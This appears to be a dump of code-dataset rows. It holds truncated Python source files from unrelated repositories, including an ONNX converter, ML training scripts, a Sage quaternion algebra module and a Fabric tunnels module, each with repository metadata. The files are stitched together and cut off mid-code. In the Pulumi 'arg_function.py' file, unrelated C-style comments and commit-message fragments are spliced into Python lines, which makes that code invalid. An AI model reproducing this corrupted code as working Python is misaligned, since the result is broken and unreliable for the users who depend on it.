null
null
null
primes = [2,3,5,7,11,13,17,19,23,29,31,37,41,43,47,53,59,61,67,71,73,79,83,89,97,101,103,107,109,113,127,131,137,139,149,151,157,163,167,173,179,181,191,193,197,199,211,223,227,229,233,239,241,251,257,263,269,271,277,281,283,293,307,311,313,317,331,337,347,349,353,359,367,373,379,383,389,397,401,409,419,421,431,433,439...
57,480
57,480
0.829715
d42861bbc31fff616a52a59b81b7e32ca430c8fa
21,484
py
Python
skl2onnx/operator_converters/calibrated_classifier_cv.py
m3at/sklearn-onnx
080b6231cad09b8ada9e1901aa9262e44db0fb74
[ "MIT" ]
null
null
null
skl2onnx/operator_converters/calibrated_classifier_cv.py
m3at/sklearn-onnx
080b6231cad09b8ada9e1901aa9262e44db0fb74
[ "MIT" ]
null
null
null
skl2onnx/operator_converters/calibrated_classifier_cv.py
m3at/sklearn-onnx
080b6231cad09b8ada9e1901aa9262e44db0fb74
[ "MIT" ]
null
null
null
# ------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for # license information. # -------------------------------------------------------------------------- import ppr...
48.06264
79
0.536166
e81828f108550aa8928e6250be1e8664abb0ecb0
4,892
py
Python
MaksimovKA_solution/models/qubvel_segmentation_models/pspnet/model.py
ktncktnc/SpaceNet_Off_Nadir_Solutions
2a9ef1c3b72fb749c808ddb8593a85cb16b9f1ca
[ "Apache-2.0" ]
164
2019-01-31T16:37:09.000Z
2022-03-31T02:47:49.000Z
MaksimovKA_solution/models/qubvel_segmentation_models/pspnet/model.py
xiaofanglegoc/SpaceNet_Off_Nadir_Solutions
812f151d244565f29987ebec7683ef42622ae16e
[ "Apache-2.0" ]
3
2019-11-20T03:32:29.000Z
2021-12-20T05:52:50.000Z
MaksimovKA_solution/models/qubvel_segmentation_models/pspnet/model.py
xiaofanglegoc/SpaceNet_Off_Nadir_Solutions
812f151d244565f29987ebec7683ef42622ae16e
[ "Apache-2.0" ]
36
2019-02-08T19:12:35.000Z
2021-12-23T06:52:35.000Z
from .builder import build_psp from ..utils import freeze_model from ..backbones import get_backbone PSP_BASE_LAYERS = { 'vgg16': ('block5_conv3', 'block4_conv3', 'block3_conv3'), 'vgg19': ('block5_conv4', 'block4_conv4', 'block3_conv4'), 'resnet18': ('stage4_unit...
40.429752
95
0.612837
0072acb74b687e224cf9168fd48d2c02ccaed7eb
2,334
py
Python
main.py
keshav-b/Hala-IPL
b17aa9c27e78c7b19977eb6115a8b80992acab22
[ "MIT" ]
1
2019-08-17T07:23:56.000Z
2019-08-17T07:23:56.000Z
main.py
keshav-b/IPL-Prediction
b17aa9c27e78c7b19977eb6115a8b80992acab22
[ "MIT" ]
null
null
null
main.py
keshav-b/IPL-Prediction
b17aa9c27e78c7b19977eb6115a8b80992acab22
[ "MIT" ]
null
null
null
import pandas as pd import numpy as np from sklearn.model_selection import train_test_split from sklearn import svm from sklearn.preprocessing import LabelEncoder from sklearn.ensemble import RandomForestClassifier from sklearn.metrics import f1_score from xgboost import XGBClassifier import matplotlib.pyplot #...
26.224719
95
0.70437
43acdc7566deb1d35a1b253470c98b6a46510aca
105,444
py
Python
src/sage/algebras/quatalg/quaternion_algebra.py
fredstro/sage
c936d2cda81ec7ec3552a3bdb29c994b40d1bb24
[ "BSL-1.0" ]
null
null
null
src/sage/algebras/quatalg/quaternion_algebra.py
fredstro/sage
c936d2cda81ec7ec3552a3bdb29c994b40d1bb24
[ "BSL-1.0" ]
null
null
null
src/sage/algebras/quatalg/quaternion_algebra.py
fredstro/sage
c936d2cda81ec7ec3552a3bdb29c994b40d1bb24
[ "BSL-1.0" ]
null
null
null
""" Quaternion Algebras AUTHORS: - Jon Bobber (2009): rewrite - William Stein (2009): rewrite - Julian Rueth (2014-03-02): use UniqueFactory for caching This code is partly based on Sage code by David Kohel from 2005. TESTS: Pickling test:: sage: Q.<i,j,k> = QuaternionAlgebra(QQ,-5,-2) sage: Q == loads(...
36.247508
397
0.534208
ce117a96a7936981f4d2543d6a0a478c5cf81d28
2,304
py
Python
pkg/codegen/internal/test/testdata/simple-resource-schema/python/pulumi_example/arg_function.py
kyxg/AutoTrash
00c3b5114928768dd565bcc269fe4decb03e026b
[ "Apache-2.0", "MIT" ]
1
2022-01-04T13:56:27.000Z
2022-01-04T13:56:27.000Z
pkg/codegen/internal/test/testdata/simple-resource-schema/python/pulumi_example/arg_function.py
kyxg/AutoTrash
00c3b5114928768dd565bcc269fe4decb03e026b
[ "Apache-2.0", "MIT" ]
1
2022-01-04T17:49:52.000Z
2022-01-04T17:49:52.000Z
pkg/codegen/internal/test/testdata/simple-resource-schema/python/pulumi_example/arg_function.py
kyxg/AutoTrash
00c3b5114928768dd565bcc269fe4decb03e026b
[ "Apache-2.0", "MIT" ]
null
null
null
# coding=utf-8 # *** WARNING: this file was generated by test. *** # *** Do not edit by hand unless you're certain you know what you are doing! *** /* Added formatting style for eclipse */ import warnings import pulumi import pulumi.runtime/* Release version to 4.0.0.0 */ from typing import Any, Mapping, Optional, Sequ...
41.890909
114
0.700087
9d61fed3d0531c27cf0f31b98bcc3489382ed97a
4,783
py
Python
lib/python/flame/examples/dist_mnist/trainer/keras/main.py
GaoxiangLuo/flame
16bd1715a545421d45ea0fc32544e448389de49c
[ "Apache-2.0" ]
6
2022-03-30T23:37:05.000Z
2022-03-31T17:29:14.000Z
lib/python/flame/examples/dist_mnist/trainer/keras/main.py
GaoxiangLuo/flame
16bd1715a545421d45ea0fc32544e448389de49c
[ "Apache-2.0" ]
10
2022-03-31T00:03:58.000Z
2022-03-31T07:15:06.000Z
lib/python/flame/examples/dist_mnist/trainer/keras/main.py
GaoxiangLuo/flame
16bd1715a545421d45ea0fc32544e448389de49c
[ "Apache-2.0" ]
2
2022-03-30T23:25:15.000Z
2022-03-30T23:55:47.000Z
# Copyright 2022 Cisco Systems, Inc. and its affiliates # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable l...
33.683099
79
0.626176
dd0963eeb87e8c5e86f342bf457d06969a61bfd6
3,025
py
Python
bindings/python/pymongoarrow/types.py
Claire-Eleutheriane/mongo-arrow
4a054523a36379356aa709257756434c196ee71e
[ "Apache-2.0" ]
null
null
null
bindings/python/pymongoarrow/types.py
Claire-Eleutheriane/mongo-arrow
4a054523a36379356aa709257756434c196ee71e
[ "Apache-2.0" ]
null
null
null
bindings/python/pymongoarrow/types.py
Claire-Eleutheriane/mongo-arrow
4a054523a36379356aa709257756434c196ee71e
[ "Apache-2.0" ]
null
null
null
# Copyright 2021-present MongoDB, Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in wri...
28.809524
107
0.716364
5b82bd09475ef682f15b7e0fb843a2b7c209228c
1,716
py
Python
ex/ex075.py
Ozcry/PythonExercicio
b4d4a4fbd6467d1ced0815677ecbd78c2613c4c9
[ "MIT" ]
null
null
null
ex/ex075.py
Ozcry/PythonExercicio
b4d4a4fbd6467d1ced0815677ecbd78c2613c4c9
[ "MIT" ]
null
null
null
ex/ex075.py
Ozcry/PythonExercicio
b4d4a4fbd6467d1ced0815677ecbd78c2613c4c9
[ "MIT" ]
null
null
null
'''Desenvolva um programa que leia quatro valores pelo teclado e guarde-os em uma tupla. No final, mostre: A) Quantas vezes apareceu o valor 9 B) Em que posição foi digitado o primeiro valor 3 C) Quais foram os números pares.''' print('\033[1;33m-=\033[m' * 20) quatro = (int(input('\033[34mDigite um número: \033[m')), ...
33.647059
215
0.614802
ad9951c9d8de31c3b65478a2027d0ab76eec366d
1,289
py
Python
susp/utils.py
gaisin/standupstoreparser
1b1cd6f1831f490e2cf2e43a43d7312d48fb6f7e
[ "WTFPL" ]
1
2020-12-27T18:02:58.000Z
2020-12-27T18:02:58.000Z
susp/utils.py
gaisin/standupstoreparser
1b1cd6f1831f490e2cf2e43a43d7312d48fb6f7e
[ "WTFPL" ]
4
2020-03-12T22:22:20.000Z
2020-04-02T21:18:28.000Z
susp/utils.py
gaisin/standupstoreparser
1b1cd6f1831f490e2cf2e43a43d7312d48fb6f7e
[ "WTFPL" ]
3
2020-02-20T21:37:45.000Z
2020-12-27T18:03:00.000Z
import logging import logging.handlers import sys from susp import settings def make_logger(): ''' Creats and sets logger configurations. Note: use LOG.error(message, exc_info=True) or LOG.exception(message) to log traceback ''' logger = logging.getLogger('susp') logger.setLevel(logging...
32.225
93
0.707525
6b253046b5107ac28b1aa83d9a988ce35cc28c8a
737
py
Python
setup.py
tdaylan/MCOV
2bb806ea084532a7aecc0465769baecb4148101d
[ "MIT" ]
2
2020-02-07T16:26:08.000Z
2020-06-09T22:18:39.000Z
setup.py
tdaylan/MCOV
2bb806ea084532a7aecc0465769baecb4148101d
[ "MIT" ]
null
null
null
setup.py
tdaylan/MCOV
2bb806ea084532a7aecc0465769baecb4148101d
[ "MIT" ]
null
null
null
from setuptools import setup, find_packages setup( name = 'mergen', packages = find_packages(), version = '1.0', description = 'Unsupervised learning using data in time-domain astronomy', \ author = 'Tansu Daylan, Emma Chickles, and Lindsey Gordon', author_email = 'tansu.daylan@gmail.com', ...
35.095238
80
0.630936
52aa3215e716be56f5df1957cae9c35f7f657a60
1,398
py
Python
introdution-to-python/find_kind_of_flower.py
mendesbarreto/machine-learing-course
b8e2da89fe79be02bb7d49fd2ad4045eef72e204
[ "MIT" ]
1
2019-04-07T17:12:56.000Z
2019-04-07T17:12:56.000Z
introdution-to-python/find_kind_of_flower.py
mendesbarreto/machine-learing-course
b8e2da89fe79be02bb7d49fd2ad4045eef72e204
[ "MIT" ]
null
null
null
introdution-to-python/find_kind_of_flower.py
mendesbarreto/machine-learing-course
b8e2da89fe79be02bb7d49fd2ad4045eef72e204
[ "MIT" ]
null
null
null
import matplotlib.pyplot as pyplot from sklearn import * from numpy import * from sklearn.model_selection import train_test_split iris_dataset = datasets.load_iris() iris_data: ndarray = iris_dataset.data iris_target = iris_dataset.target x = iris_data y = iris_target x_train, x_test, y_train, y_test = train_test_sp...
25.888889
108
0.704578
ab6f4034c78aad42ad3e0bc8ad485a05fb8a69ad
2,244
py
Python
src/mongo/db/fts/unicode/gen_casefold_map.py
stevelyall/mongol-db
d8046147bfe806f7acc0ec4aa70c132507b761fb
[ "Apache-2.0" ]
1
2018-03-16T09:49:05.000Z
2018-03-16T09:49:05.000Z
src/mongo/db/fts/unicode/gen_casefold_map.py
stevelyall/mongol-db
d8046147bfe806f7acc0ec4aa70c132507b761fb
[ "Apache-2.0" ]
null
null
null
src/mongo/db/fts/unicode/gen_casefold_map.py
stevelyall/mongol-db
d8046147bfe806f7acc0ec4aa70c132507b761fb
[ "Apache-2.0" ]
null
null
null
#!/usr/bin/python # -*- coding: utf-8 -*- import os import sys from gen_helper import getCopyrightNotice, openNamespaces, closeNamespaces, \ include def generate(unicode_casefold_file, target): """Generates a C++ source file that contains a Unicode case folding function. The case folding functi...
29.142857
78
0.608289
62e3316d3820ae989939ea74fca87eed2a2591ad
318
py
Python
2020/02-a.py
asmundg/adventofcode
adc0c9c8ba1d0ef04b621f6f8a5237ee34b9a230
[ "MIT" ]
null
null
null
2020/02-a.py
asmundg/adventofcode
adc0c9c8ba1d0ef04b621f6f8a5237ee34b9a230
[ "MIT" ]
null
null
null
2020/02-a.py
asmundg/adventofcode
adc0c9c8ba1d0ef04b621f6f8a5237ee34b9a230
[ "MIT" ]
null
null
null
import re r = re.compile("(\d+)-(\d+) ([a-z]): (.*)") def check(line): min, max, char, pw = r.search(line).groups() num = len([c for c in pw if c == char]) return num >= int(min) and num <= int(max) with open("input/02.input") as f: res = [check(line) for line in f.readlines()] print(sum(res))
24.461538
49
0.556604
95da3dc59b87dcee4b580632f05ea1aceae83d6c
10,414
py
Python
spotify/helpers.py
Flame442/Trusty-cogs
d7611f6d6739e0f344d04936f7af9cfea3fa426f
[ "MIT" ]
148
2017-04-23T19:57:50.000Z
2022-03-12T06:59:58.000Z
spotify/helpers.py
mina9999/Trusty-cogs
a47de7c233f3c1802effd29f4a86f8a9b0e2b34a
[ "MIT" ]
155
2018-01-01T13:27:45.000Z
2022-03-12T05:17:51.000Z
spotify/helpers.py
mina9999/Trusty-cogs
a47de7c233f3c1802effd29f4a86f8a9b0e2b34a
[ "MIT" ]
221
2017-04-02T00:26:08.000Z
2022-03-26T15:06:54.000Z
import datetime import logging import re from typing import Final, List, Pattern, Union import tekore from discord.ext.commands.converter import Converter from discord.ext.commands.errors import BadArgument from redbot.core import commands from redbot.core.i18n import Translator from redbot.core.utils.chat_formatting ...
32.241486
123
0.565489
a2e49ad630e3adb49acfa1c804959f1ec354c34b
15,712
py
Python
plugins/modules/oci_identity_tag_namespace.py
slmjy/oci-ansible-collection
349c91e2868bf4706a6e3d6fb3b47fc622bfe11b
[ "Apache-2.0" ]
108
2020-05-19T20:46:10.000Z
2022-03-25T14:10:01.000Z
plugins/modules/oci_identity_tag_namespace.py
slmjy/oci-ansible-collection
349c91e2868bf4706a6e3d6fb3b47fc622bfe11b
[ "Apache-2.0" ]
90
2020-06-14T22:07:11.000Z
2022-03-07T05:40:29.000Z
plugins/modules/oci_identity_tag_namespace.py
slmjy/oci-ansible-collection
349c91e2868bf4706a6e3d6fb3b47fc622bfe11b
[ "Apache-2.0" ]
42
2020-08-30T23:09:12.000Z
2022-03-25T16:58:01.000Z
#!/usr/bin/python # Copyright (c) 2020, 2021 Oracle and/or its affiliates. # This software is made available to you under the terms of the GPL 3.0 license or the Apache 2.0 license. # GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt) # Apache License v2.0 # See LICENSE.TXT for d...
39.28
157
0.663442
c18d141d8a8b8f636ae08f01330c3d8b13190b09
420
py
Python
list/wsgi.py
SkillSmart/ConferenceManagementSystem
43af08260f321d1d506755da5c1b6ce1cf95fc42
[ "MIT" ]
null
null
null
list/wsgi.py
SkillSmart/ConferenceManagementSystem
43af08260f321d1d506755da5c1b6ce1cf95fc42
[ "MIT" ]
null
null
null
list/wsgi.py
SkillSmart/ConferenceManagementSystem
43af08260f321d1d506755da5c1b6ce1cf95fc42
[ "MIT" ]
null
null
null
""" WSGI config for CompetitionManagement project. It exposes the WSGI callable as a module-level variable named ``application``. For more information on this file, see https://docs.djangoproject.com/en/1.10/howto/deployment/wsgi/ """ import os from django.core.wsgi import get_wsgi_application os.environ.setdefaul...
24.705882
81
0.8
f3d36e5f05966d0164b842fcbad2c234bfaf647f
5,312
py
Python
.venv/lib/python3.6/site-packages/pdflatex/pdflatex.py
rguillon/mmrpg
94f06b8bb13d4a94caeed247d7ceb1675b785148
[ "MIT" ]
3
2021-04-06T18:35:29.000Z
2021-05-17T21:35:46.000Z
venv/Lib/site-packages/pdflatex/pdflatex.py
l-Il/py-LaTeX
bd9dc79820fd569fce437f2316e73f40527adcdd
[ "MIT" ]
null
null
null
venv/Lib/site-packages/pdflatex/pdflatex.py
l-Il/py-LaTeX
bd9dc79820fd569fce437f2316e73f40527adcdd
[ "MIT" ]
null
null
null
import os import shutil import tempfile import subprocess from subprocess import PIPE MODE_BATCH = 0 MODE_NON_STOP = 1 MODE_SCROLL = 2 MODE_ERROR_STOP = 3 INTERACTION_MODES = ['batchmode', 'nonstopmode', 'scrollmode', 'errorstopmode'] JINJA2_ENV = {'block_start_string': '\BLOCK{', 'block_end_string': '}...
36.136054
103
0.591679
dda739530ece0c73edfe5bfd7d7ac8033097ad13
2,098
py
Python
prepare_submission.py
zivadinac/Algonauts2021_devkit
73fc6cda1903f73682ecad9245808e7b2750a9cc
[ "MIT" ]
35
2021-05-01T02:58:03.000Z
2021-12-27T15:13:17.000Z
prepare_submission.py
antjak/Algonauts2021_devkit
aa5a677881c3d75b671065c683f63e0fad81bcdf
[ "MIT" ]
2
2021-06-05T17:34:29.000Z
2021-06-22T20:36:19.000Z
prepare_submission.py
antjak/Algonauts2021_devkit
aa5a677881c3d75b671065c683f63e0fad81bcdf
[ "MIT" ]
21
2021-05-06T04:59:09.000Z
2021-10-12T21:52:09.000Z
import numpy as np import os import glob import random import argparse import itertools import nibabel as nib from nilearn import plotting from tqdm import tqdm from sklearn.cross_decomposition import PLSRegression from sklearn.linear_model import LinearRegression from sklearn.linear_model import Ridge from sklearn.pre...
33.301587
141
0.660153
6a3dbad2b90fea5a871e0ce14f80cb557307e73b
710
py
Python
scrape/pipelines.py
GGG1235/scrape
9454d3fc9939cf753a25af6dcfcbae80f2ab82bb
[ "MIT" ]
1
2019-04-24T00:39:28.000Z
2019-04-24T00:39:28.000Z
scrape/pipelines.py
GGG1235/scrape
9454d3fc9939cf753a25af6dcfcbae80f2ab82bb
[ "MIT" ]
null
null
null
scrape/pipelines.py
GGG1235/scrape
9454d3fc9939cf753a25af6dcfcbae80f2ab82bb
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- # Define your item pipelines here # # Don't forget to add your pipeline to the ITEM_PIPELINES setting # See: https://doc.scrapy.org/en/latest/topics/item-pipeline.html import pymongo from scrape.settings import mongo_host, mongo_port, \ mongo_user, mongo_passwd, \ mongo_db_name, mongo_d...
29.583333
120
0.692958
810aafb69459de120675e50ea2f995e957e9c1c3
973
py
Python
static/models/demos/RandomForest/train.py
jhuang-2021/Auto-build-machine-learning-platorm
37597a407e02b1fe2ed93ace78785b4e386aec58
[ "MIT" ]
null
null
null
static/models/demos/RandomForest/train.py
jhuang-2021/Auto-build-machine-learning-platorm
37597a407e02b1fe2ed93ace78785b4e386aec58
[ "MIT" ]
null
null
null
static/models/demos/RandomForest/train.py
jhuang-2021/Auto-build-machine-learning-platorm
37597a407e02b1fe2ed93ace78785b4e386aec58
[ "MIT" ]
null
null
null
import pickle # Author: Tim Head <betatim@gmail.com> # # License: BSD 3 clause import numpy as np import matplotlib.pyplot as plt from sklearn.ensemble import RandomForestRegressor from sklearn.model_selection import train_test_split from sklearn.multioutput import MultiOutputRegressor # Create a random dataset rn...
29.484848
78
0.663926
7409ea2ae9b4b9441d60c0831676403966f6a9b1
62,803
py
Python
ironic/tests/unit/api/controllers/v1/test_allocation.py
ljmcgann/ironic
09f79416e2820cf0fcef001c4c956b7732b7e7ca
[ "Apache-2.0" ]
null
null
null
ironic/tests/unit/api/controllers/v1/test_allocation.py
ljmcgann/ironic
09f79416e2820cf0fcef001c4c956b7732b7e7ca
[ "Apache-2.0" ]
null
null
null
ironic/tests/unit/api/controllers/v1/test_allocation.py
ljmcgann/ironic
09f79416e2820cf0fcef001c4c956b7732b7e7ca
[ "Apache-2.0" ]
null
null
null
# Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # d...
48.79798
79
0.60357
745727e1a86b6e0796582eda1945544ceaf05a40
1,101
py
Python
mpf/core/scriptlet.py
pmansukhani/mpf
0979965d24bcaba9423b43581c6a18b847b1b900
[ "MIT" ]
null
null
null
mpf/core/scriptlet.py
pmansukhani/mpf
0979965d24bcaba9423b43581c6a18b847b1b900
[ "MIT" ]
null
null
null
mpf/core/scriptlet.py
pmansukhani/mpf
0979965d24bcaba9423b43581c6a18b847b1b900
[ "MIT" ]
null
null
null
"""Contains the parent class for DEPRECATED Scriptlets. This is deprecated and will be removed in config_version 6 with MPF 0.60. Use custom code instead. """ from mpf.core.delays import DelayManager from mpf.core.logging import LogMixin class Scriptlet(LogMixin): """Baseclass for DEPRECATED scriptlets which ar...
28.230769
81
0.66485
a61dfd0922fa697af679445ee2b86d173e490ae8
355
py
Python
source/appModules/winal.py
riku22/nvdajp
66a828ea89d317e4aa0ad2aed4b3b1e08920afb6
[ "bzip2-1.0.6" ]
19
2016-05-11T05:15:31.000Z
2022-03-17T12:40:10.000Z
source/appModules/winal.py
riku22/nvdajp
66a828ea89d317e4aa0ad2aed4b3b1e08920afb6
[ "bzip2-1.0.6" ]
307
2015-08-27T11:22:33.000Z
2022-03-29T10:43:34.000Z
source/appModules/winal.py
riku22/nvdajp
66a828ea89d317e4aa0ad2aed4b3b1e08920afb6
[ "bzip2-1.0.6" ]
14
2016-03-28T07:31:49.000Z
2022-03-30T04:56:35.000Z
#appModules/ALTAIR for Windows.py #A part of NonVisual Desktop Access (NVDA) #This file is covered by the GNU General Public License. #See the file COPYING for more details. #Copyright (C) 2012 Tomohiro Saito """App module for ALTAIR for Windows """ import appModuleHandler class AppModule(appModuleHandl...
22.1875
57
0.749296
0cbd6abf0d8addc9af6d9e2cf2c461408ba97f41
1,173
py
Python
tests/test_visitors/test_ast/test_subscripts/test_float_key_usage.py
cdhiraj40/wemake-python-styleguide
7cef9be081d594c30045b7a98cae77a9be46e1aa
[ "MIT" ]
1,931
2018-03-17T13:52:45.000Z
2022-03-27T09:39:17.000Z
tests/test_visitors/test_ast/test_subscripts/test_float_key_usage.py
cdhiraj40/wemake-python-styleguide
7cef9be081d594c30045b7a98cae77a9be46e1aa
[ "MIT" ]
2,231
2018-03-09T21:19:05.000Z
2022-03-31T08:35:37.000Z
tests/test_visitors/test_ast/test_subscripts/test_float_key_usage.py
cdhiraj40/wemake-python-styleguide
7cef9be081d594c30045b7a98cae77a9be46e1aa
[ "MIT" ]
492
2018-05-18T21:20:28.000Z
2022-03-20T14:11:50.000Z
import pytest from wemake_python_styleguide.violations.best_practices import FloatKeyViolation from wemake_python_styleguide.visitors.ast.subscripts import CorrectKeyVisitor usage_template = 'some_dict[{0}]' @pytest.mark.parametrize('expression', [ '1.0', '-0.0', '+3.5', ]) def test_float_key_usage( ...
21.327273
80
0.674339
539a7b7682427f2f809c69b0cf1dc92133633778
3,030
py
Python
monasca_api/v2/reference/logs.py
MheniMerz/monasca-api
9c0892a58622082ed8baf81ee2f621cc68f5b42c
[ "Apache-2.0" ]
50
2015-10-18T02:54:52.000Z
2021-12-05T07:54:08.000Z
monasca_api/v2/reference/logs.py
MheniMerz/monasca-api
9c0892a58622082ed8baf81ee2f621cc68f5b42c
[ "Apache-2.0" ]
13
2015-10-29T12:54:07.000Z
2021-09-02T06:17:42.000Z
monasca_api/v2/reference/logs.py
MheniMerz/monasca-api
9c0892a58622082ed8baf81ee2f621cc68f5b42c
[ "Apache-2.0" ]
81
2015-10-21T07:43:30.000Z
2022-01-07T03:35:05.000Z
# Copyright 2016 Hewlett Packard Enterprise Development Company, L.P. # Copyright 2016-2017 FUJITSU LIMITED # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/lice...
33.666667
75
0.674917
291e51bdd3d991b1f8addfff5dac0dfa840480f5
223
py
Python
Python/UberX.py
Gera-Garza/POO_practica
480af9ec9e5edbc33f1b18083a1bd85aff8d7c64
[ "Artistic-1.0-cl8" ]
null
null
null
Python/UberX.py
Gera-Garza/POO_practica
480af9ec9e5edbc33f1b18083a1bd85aff8d7c64
[ "Artistic-1.0-cl8" ]
null
null
null
Python/UberX.py
Gera-Garza/POO_practica
480af9ec9e5edbc33f1b18083a1bd85aff8d7c64
[ "Artistic-1.0-cl8" ]
null
null
null
from car import Car class UberX(Car): brand = str model = str def __init__(self, license, driver, brand , model): super().__init__(license, driver) self.brand = brand self.model = model
22.3
55
0.61435
888458e3eb8df61d32dcd71b7bb4d76e91ed3215
1,862
py
Python
Amazon_Connect-Agent_Status/Agent_Status-Cloud_App/lambda_stream/index.py
aws-iot-edukit/Other_Examples-Core2_for_AWS
c224148feb7398a2e0b3486cba4ff24fa4f4db40
[ "MIT-0", "MIT" ]
4
2021-07-27T13:37:20.000Z
2021-09-15T16:49:15.000Z
Amazon_Connect-Agent_Status/Agent_Status-Cloud_App/lambda_stream/index.py
aws-iot-edukit/Other_Examples-Core2_for_AWS
c224148feb7398a2e0b3486cba4ff24fa4f4db40
[ "MIT-0", "MIT" ]
null
null
null
Amazon_Connect-Agent_Status/Agent_Status-Cloud_App/lambda_stream/index.py
aws-iot-edukit/Other_Examples-Core2_for_AWS
c224148feb7398a2e0b3486cba4ff24fa4f4db40
[ "MIT-0", "MIT" ]
2
2021-07-27T13:51:08.000Z
2021-09-12T19:57:47.000Z
import json import boto3 import base64 import os TABLE_NAME = os.environ['TABLE_NAME'] dynamodb_client = boto3.client('dynamodb') iotdata_client = boto3.client('iot-data', region_name='eu-west-1') def get_record(AgentARN): try: response = dynamodb_client.query( TableName=TABLE_NAME, ...
30.032258
88
0.604189
791b79d537ebf6c13c91a18c29865ae8b286bc8e
4,075
py
Python
api_restful/urls.py
zhanghe06/bearing_project
78a20fc321f72d3ae05c7ab7e52e01d02904e3fc
[ "MIT" ]
1
2020-06-21T04:08:26.000Z
2020-06-21T04:08:26.000Z
api_restful/urls.py
zhanghe06/bearing_project
78a20fc321f72d3ae05c7ab7e52e01d02904e3fc
[ "MIT" ]
13
2019-10-18T17:19:32.000Z
2022-01-13T00:44:43.000Z
api_restful/urls.py
zhanghe06/bearing_project
78a20fc321f72d3ae05c7ab7e52e01d02904e3fc
[ "MIT" ]
5
2019-02-07T03:15:16.000Z
2021-09-04T14:06:28.000Z
#!/usr/bin/env python # encoding: utf-8 """ @author: zhanghe @software: PyCharm @file: urls.py @time: 2020-02-28 21:21 """ from __future__ import unicode_literals from uuid import uuid4 import logging import time from collections import defaultdict from flask import jsonify, request, g, make_response from werkzeug....
26.809211
93
0.635092
12102831af8891cb28bfbe6f3c07bef6a4dc80b3
2,445
py
Python
projectenv/scriptgen.py
teaminsight-legacy/projectenv
873de28986dd4816e4872462b6280a1aed6d2922
[ "MIT" ]
1
2016-11-02T22:35:11.000Z
2016-11-02T22:35:11.000Z
projectenv/scriptgen.py
teaminsight-legacy/projectenv
873de28986dd4816e4872462b6280a1aed6d2922
[ "MIT" ]
null
null
null
projectenv/scriptgen.py
teaminsight-legacy/projectenv
873de28986dd4816e4872462b6280a1aed6d2922
[ "MIT" ]
null
null
null
import os from logger import log, DEBUG class ScriptGenerator(object): def __init__(self, environment_vars={}): self.env = environment_vars def script(self, language='sh'): header_lines = [ '#!/bin/%s' % language, '# Auto-generated by projectenv' ] env...
33.493151
95
0.570961
9d23a9a2b1432fe22a146bd3e0193ea953b20eac
2,218
py
Python
2021/aoc_2021_03/aoc_2021_03.py
ericcolton/AdventOfCode
58bdf8886d1d6cea5faeee74248c10ddaf97a93b
[ "MIT" ]
null
null
null
2021/aoc_2021_03/aoc_2021_03.py
ericcolton/AdventOfCode
58bdf8886d1d6cea5faeee74248c10ddaf97a93b
[ "MIT" ]
null
null
null
2021/aoc_2021_03/aoc_2021_03.py
ericcolton/AdventOfCode
58bdf8886d1d6cea5faeee74248c10ddaf97a93b
[ "MIT" ]
null
null
null
#!/usr/bin/env python3 """ Advent of Code 2021 Day 3: Dive! https://adventofcode.com/2021/day/3 Solution by Eric Colton """ import re from typing import List def parse_input_data(raw_input: List[str]) -> List[str]: return [line.rstrip() for line in raw_input] def convert_binary_to_decimal(binary_str: str) -> ...
33.606061
85
0.609107
ebd2bbedefdadc3fbe4e93fc0a90b5a0f54d0043
16,326
py
Python
sdk/python/pulumi_google_native/compute/beta/resource_policy.py
AaronFriel/pulumi-google-native
75d1cda425e33d4610348972cd70bddf35f1770d
[ "Apache-2.0" ]
44
2021-04-18T23:00:48.000Z
2022-02-14T17:43:15.000Z
sdk/python/pulumi_google_native/compute/beta/resource_policy.py
AaronFriel/pulumi-google-native
75d1cda425e33d4610348972cd70bddf35f1770d
[ "Apache-2.0" ]
354
2021-04-16T16:48:39.000Z
2022-03-31T17:16:39.000Z
sdk/python/pulumi_google_native/compute/beta/resource_policy.py
AaronFriel/pulumi-google-native
75d1cda425e33d4610348972cd70bddf35f1770d
[ "Apache-2.0" ]
8
2021-04-24T17:46:51.000Z
2022-01-05T10:40:21.000Z
# coding=utf-8 # *** WARNING: this file was generated by the Pulumi SDK Generator. *** # *** Do not edit by hand unless you're certain you know what you are doing! *** import warnings import pulumi import pulumi.runtime from typing import Any, Mapping, Optional, Sequence, Union, overload from ... import _utilities fro...
48.734328
496
0.680081
fbb04d06fc0062da7a3a7e1b47bcb59a8a4a238b
4,222
py
Python
benchmark/startQiskit_noisy3091.py
UCLA-SEAL/QDiff
d968cbc47fe926b7f88b4adf10490f1edd6f8819
[ "BSD-3-Clause" ]
null
null
null
benchmark/startQiskit_noisy3091.py
UCLA-SEAL/QDiff
d968cbc47fe926b7f88b4adf10490f1edd6f8819
[ "BSD-3-Clause" ]
null
null
null
benchmark/startQiskit_noisy3091.py
UCLA-SEAL/QDiff
d968cbc47fe926b7f88b4adf10490f1edd6f8819
[ "BSD-3-Clause" ]
null
null
null
# qubit number=4 # total number=38 import cirq import qiskit from qiskit.providers.aer import QasmSimulator from qiskit.test.mock import FakeVigo from qiskit import QuantumCircuit, QuantumRegister, ClassicalRegister from qiskit import BasicAer, execute, transpile from pprint import pprint from qiskit.test.mock import ...
34.606557
140
0.653482
a19d47641c73b3d95d58f5d189c52a88e024dd0c
5,677
py
Python
fabric/tunnels.py
daobook/fabric
4318a501f5ad9def888a99fe7f817d12a204d526
[ "BSD-2-Clause" ]
null
null
null
fabric/tunnels.py
daobook/fabric
4318a501f5ad9def888a99fe7f817d12a204d526
[ "BSD-2-Clause" ]
null
null
null
fabric/tunnels.py
daobook/fabric
4318a501f5ad9def888a99fe7f817d12a204d526
[ "BSD-2-Clause" ]
null
null
null
""" Tunnel and connection forwarding internals. If you're looking for simple, end-user-focused connection forwarding, please see `.Connection`, e.g. `.Connection.forward_local`. """ import errno import select import socket import time from threading import Event from invoke.exceptions import ThreadExcep...
35.93038
80
